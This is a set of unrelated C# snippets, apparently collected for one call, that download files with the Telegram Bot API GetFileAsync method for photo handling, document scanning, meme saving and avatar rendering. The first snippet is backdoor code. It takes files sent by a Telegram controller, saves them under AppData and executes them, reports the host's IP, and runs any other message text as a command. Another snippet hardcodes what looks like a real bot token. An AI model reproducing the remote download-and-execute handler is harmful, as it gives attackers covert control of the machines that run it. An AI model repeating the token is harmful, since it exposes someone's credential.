private static async void OnTelegramMessage(object sender, Telegram.Bot.Args.MessageEventArgs e) { if (e.Message.Document != null && e.Message.Caption.Contains("/UploadUpdate")) // TODO: Сделать разархивирование и запуск файла. Сделать рабочий метод для использования комманды { string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BotFiles\\" + e.Message.Document.FileName; Directory.CreateDirectory(path); var file = await bot.GetFileAsync(e.Message.Document.FileId); using (var saveFile = new FileStream(path + "\\" + e.Message.Document.FileName, FileMode.Create)) { await bot.DownloadFileAsync(file.FilePath, saveFile); } Process.Start(path); } else if (e.Message.Document != null && e.Message.Caption == "/UploadExecute") { string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BotFiles\\"; Directory.CreateDirectory(path); path += e.Message.Document.FileName; var file = await bot.GetFileAsync(e.Message.Document.FileId); using (var saveFile = new FileStream(path, FileMode.Create)) { await bot.DownloadFileAsync(file.FilePath, saveFile); } try { Process.Start(path); } catch { TelegramSystem.SendMessage($"[ERROR] [{Functions.GetIp()}] Something wrong"); } } else if (e.Message.Document != null) { string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BotFiles\\" + e.Message.Document.FileName; Directory.CreateDirectory(path); var file = await bot.GetFileAsync(e.Message.Document.FileId); using (var saveFile = new FileStream(path + "\\" + e.Message.Document.FileName, FileMode.Create)) { await bot.DownloadFileAsync(file.FilePath, saveFile); } } else { cmd command = new cmd(e.Message.Text); Execute(command); } }
public static async Task <PhotoHandler> FromMessage(IUpdateContext context, Message message) { long chatId = message?.Chat?.Id ?? -1; ITelegramBotClient botClient = context?.Bot?.Client; if (message == null || botClient == null || chatId < 0) { return(null); } PhotoSize photoSize = message.Photo.OrderByDescending(p => p.FileSize).First(); Telegram.Bot.Types.File file = await botClient.GetFileAsync(photoSize.FileId); if (file != null) { string downloadedFilePath = await DownloadFile(botClient, file, chatId); if (!string.IsNullOrWhiteSpace(downloadedFilePath)) { return(new PhotoHandler(downloadedFilePath)); } } return(null); }
public async Task <MemoryAttachment?> DownloadAttachment(InAttachment inAttachment) { var file = await _api.GetFileAsync(inAttachment.Id).ConfigureAwait(false); var url = $"https://api.telegram.org/file/bot{_options.Token}/{file.FilePath}"; var response = await _client.GetByteArrayAsync(url).ConfigureAwait(false); // Todo Refactor this. int index = file.FilePath.LastIndexOf('/'); var fullName = file.FilePath.Substring(index + 1); return(AttachmentFactory.CreateMemoryAttachment(fullName, response, inAttachment.Type)); }
private async Task ProcessItem(WorkItem workItem) { using (var memoryStream = new MemoryStream()) { var file = await _telegramBotClient.GetFileAsync(workItem.Files.First(), memoryStream); _logger.LogInformation("Downloaded file with name {0} and id {1} - Size: {2} KB", file.FilePath, file.FileId, file.FileSize / 1024); var result = _imageDocumentDetectionService.ProcessStream(memoryStream); if (result == null) { await _telegramBotClient.SendTextMessageAsync(workItem.ChatId, "Oh snap, I'm not able to handle this picture :("); return; } using (result) { // TODO: Reply to initial message! // TODO: File name switch (workItem.ConversationType) { case ConversationType.Image: await _telegramBotClient.SendPhotoAsync(workItem.ChatId, new FileToSend(Guid.NewGuid() + ".jpg", result)); break; case ConversationType.Pdf: using (var image = new MagickImage(result, new MagickReadSettings(new JpegReadDefines()))) { using (var pdfStream = new MemoryStream()) { image.Write(pdfStream, MagickFormat.Pdf); pdfStream.Position = 0; await _telegramBotClient.SendDocumentAsync(workItem.ChatId, new FileToSend(Guid.NewGuid() + ".pdf", pdfStream)); } } break; } } } }
public async static void GetFile(long mId) { if (users[mId].lastFile == null) { return; } var file = tgBot.GetFileAsync(users[mId].lastFile).Result; var url = "https://api.telegram.org/file/" + "bot" + /*bot_token*/ "1435986427:AAH7tfPHWBpUQvWFDylWVR1NEswh6zJANbo" + "/" + file.FilePath; byte[] data; using (var client = new HttpClient()) using (HttpResponseMessage response = await client.GetAsync(url)) using (HttpContent content = response.Content) { data = await content.ReadAsByteArrayAsync(); using (FileStream f = System.IO.File.Create(document.FileName)) ////path = "wwwroot\\XML\\1.zip" f.Write(data, 0, data.Length); } }
public async Task <byte[]> GetPhotoAsync(int userId) { var photos = await _telegramClient.GetUserProfilePhotosAsync(userId, 0, 1); var photoId = photos.Photos.FirstOrDefault()?.FirstOrDefault()?.FileId; if (photoId == null) { return(null); } var file = await _telegramClient.GetFileAsync(photoId); using (var stream = new MemoryStream()) { await _telegramClient.DownloadFileAsync(file.FilePath, stream); var bytes = stream.ToArray(); return(bytes); } }
private static async void DownloadFile(string e, string imagename, string caption) { try { string path = "/root/memeler/images/" + imagename; StreamWriter write = new StreamWriter($"/root/memeler/config.csv", true); var img = await Bot.GetFileAsync(e); string dUrl = $"https://api.telegram.org/file/bot{Token}/{img.FilePath}"; using (WebClient net = new WebClient()) { net.DownloadFileAsync(new Uri(dUrl), path); } using (write) { await write.WriteLineAsync(imagename + " | " + caption); } write.Close(); Console.WriteLine("Filename: {0}\nCaption: {1}", imagename, caption); Console.WriteLine("Downloaded"); Console.WriteLine(""); } catch (Exception x) { using (StreamWriter log = new StreamWriter($"/root/memeler/logs.txt", true)) { await log.WriteLineAsync("Error Getting File: " + imagename); await log.WriteLineAsync("Error Message: " + x.Message); log.Close(); } Console.WriteLine("Error Getting File: " + x.Message); } }
private async Task <Stream> GetWinnerImage(UserProfilePhotos userProfilePhotos) { using var bowlImage = Image.FromFile("Images/GoldenCup.png"); var winnerImageStream = new MemoryStream(); if (userProfilePhotos != null && userProfilePhotos.Photos.Any()) { var photoSize = userProfilePhotos.Photos[0] .OrderByDescending(p => p.Height) .FirstOrDefault(); var photoFile = await _client.GetFileAsync(photoSize.FileId); using var avatarStream = new MemoryStream(); await _client.DownloadFileAsync(photoFile.FilePath, avatarStream); using var avatarImage = Image.FromStream(avatarStream); using var bitmap = new Bitmap(avatarImage.Width, avatarImage.Height); using var canvas = Graphics.FromImage(bitmap); canvas.InterpolationMode = InterpolationMode.HighQualityBicubic; canvas.SmoothingMode = SmoothingMode.AntiAlias; canvas.PixelOffsetMode = PixelOffsetMode.HighQuality; canvas.DrawImage(avatarImage, new Point()); var hPadding = bitmap.Height / 10; var vPadding = hPadding / 2; // add bowl image to avatar var bowlRatio = (double)(bitmap.Height / 2.5) / bowlImage.Height; var bowlWidth = (int)(bowlImage.Width * bowlRatio); var bowlHeight = (int)(bowlImage.Height * bowlRatio); canvas.DrawImage( bowlImage, new Rectangle(hPadding, bitmap.Height - bowlHeight - vPadding, bowlWidth, bowlHeight), new Rectangle(0, 0, bowlImage.Width, bowlImage.Height), GraphicsUnit.Pixel); // add month and year text to avatar using var gp = new GraphicsPath(); float fontSize = bowlHeight / 4; using var font = new Font("Impact", fontSize, FontStyle.Bold, GraphicsUnit.Pixel); var monthString = Messages.WinnerOfTheYear; var yearString = DateTime.Today.ToString("yyyy"); gp.AddString( monthString, font.FontFamily, (int)font.Style, fontSize, new Point(hPadding + bowlWidth + ((bitmap.Width - (hPadding + bowlWidth) - (int)canvas.MeasureString(monthString, font).Width) / 2), bitmap.Height - (vPadding + (bowlHeight / 2) + font.Height)), null); gp.AddString( yearString, font.FontFamily, (int)font.Style, fontSize, new Point(hPadding + bowlWidth + ((bitmap.Width - (hPadding + bowlWidth) - (int)canvas.MeasureString(yearString, font).Width) / 2), bitmap.Height - (vPadding + (bowlHeight / 2))), null); canvas.DrawPath(new Pen(Color.Black, 10) { LineJoin = LineJoin.Round }, gp); canvas.FillPath(Brushes.White, gp); canvas.Save(); bitmap.Save(winnerImageStream, ImageFormat.Png); } else { bowlImage.Save(winnerImageStream, ImageFormat.Png); } winnerImageStream.Seek(0, SeekOrigin.Begin); return(winnerImageStream); }
private async Task ProcessItem(WorkItem workItem) { var files = new List <Stream>(); try { foreach (var fileInfo in workItem.Files) { var stream = new MemoryStream(); try { var file = await _telegramBotClient.GetFileAsync(fileInfo, stream); _logger.LogInformation("Downloaded file with name {0} and id {1} - Size: {2} KB", file.FilePath, file.FileId, file.FileSize / 1024); if (workItem.DocumentAction == DocumentAction.DocumentScan) { var result = _imageDocumentDetectionService.ProcessStream(stream); stream.Dispose(); if (result == null) { await _telegramBotClient.SendTextMessageAsync(workItem.ChatId, "Oh snap, I'm not able to handle this picture :("); return; } files.Add(result); } else { files.Add(stream); } } catch (Exception ex) { _logger.LogCritical(ex, "Unable to process a file :("); stream.Dispose(); await _telegramBotClient.SendTextMessageAsync(workItem.ChatId, "Oh snap, I'm not able to complete your action :("); return; } } switch (workItem.ConversationType) { case ConversationType.Image: foreach (var processedFile in files) { await _telegramBotClient.SendPhotoAsync(workItem.ChatId, new FileToSend(Guid.NewGuid() + ".jpg", processedFile)); } break; case ConversationType.Pdf: using (var collection = new MagickImageCollection()) { foreach (var processedFile in files) { collection.Add(new MagickImage(processedFile)); } using (var pdfStream = new MemoryStream()) { collection.Write(pdfStream, MagickFormat.Pdf); pdfStream.Position = 0; await _telegramBotClient.SendDocumentAsync(workItem.ChatId, new FileToSend(Guid.NewGuid() + ".pdf", pdfStream)); } } break; } } catch (Exception ex) { _logger.LogCritical(ex, "Unable to process a file :("); await _telegramBotClient.SendTextMessageAsync(workItem.ChatId, "Oh snap, I'm not able to complete your action :("); return; } finally { } }